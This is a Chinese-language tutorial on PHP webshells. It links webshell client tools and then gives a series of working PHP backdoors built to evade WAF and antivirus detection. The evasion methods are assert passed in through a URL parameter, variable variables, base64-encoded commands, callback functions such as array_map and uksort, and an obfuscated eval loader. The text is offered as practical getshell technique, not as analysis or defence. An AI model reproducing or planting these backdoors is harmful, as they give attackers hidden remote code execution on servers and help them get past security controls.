后面连接工具
-
冰蝎
https://github.com/rebeyond/Behinder/releases
-
哥斯拉
https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla
-
蚁剑
https://github.com/AntSwordProject/antSword
-
中国菜刀
https://github.com/raddyfiy/caidao-official-version
-
天蝎
https://github.com/shack2/skyscorpion/releases/tag/1.0.release.20210322
绕过
在我们上传木马的时候,经常会遇到木马查杀,木马上传上去了突然被杀了删除了,有时候木马上传了,但是连不上去,这是在getshell中经常遇到的问题,那么当遇到这种问题,就需要让木马绕过网站上WAF的一些查杀等等问题了
普通的木马
<?php
eval($_POST['X']);?
?>
传参绕过
<?php
//通过手动在URL中添加函数来达到,代码中没有eval的效果从而绕过检测
$a=$_GET['e'];
$a($_POST['x']);
?>
连接时
http://localhost/1.php?e=assert
为什么e=assert呢
其实assert和eval的功能上是差不多
但是eval不能直接在URL中添加所以用assert来代替
那么这个时候POST还需将我们要执行的代码命令等等进去传送给assert函数
x=phpinfo();
那么这个地址就是后门地址
http://localhost/1.php?e=assert
密码是x
不认识变量绕过
<?php
$a='b';
$b=$_GET['e'];
$aa=($_POST['x']);
?>
免参数
<?php
$a='b';
$b='assert';
$$a($_POST['x']);
?>
那么$ a = a= a=b
base64绕过
<?php
$a='b';
$b='assert';
//我们传入的命令值等等都要base64加密
//当传过来我们代码再通过base64_decode去解密我们上传的命令
$$a(base64_decode($_POST['x']));
?>
phpinfo():
base64编码
cGhwaW5mbygpOw==
创建数组绕飞
<?php
//$_REQUEST包含了post和get兼容两个
$e = $_REQUEST['e'];
//array () 函数用于创建数组,将传输的信息放到数组中先
$arr = array($_POST['pass'],);
//array_filter将信息再调取出来
array_filter($arr, $e);
?>
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
?>
差不多的
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
?>
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
?>
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
?>
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
?>
加密混编绕过
加密其实就是把木马加密了
检测机制检测就是未知代码不知道
<?php @eval($_POST['shell']);?>
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iV1p4Qk1jem53U0x2dW9rWENZeWdlS05PbHBpYXJKRGZWSFB0SUFVR0ViUVJzcW1qVGRoRkVOUHB4dU1ic0NvZHp0ckptQU9IUWZqVkt2WmtZYXFuZXdsV2dpVEJTeVhjREdMSVVoRlJscTlza3dpSFhCZTJBRXN0YVI5WFUxalRFT2hNa0JlRHltaGhmVUQvbEg9PSI7DQoJCWV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksDQoJCSRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?>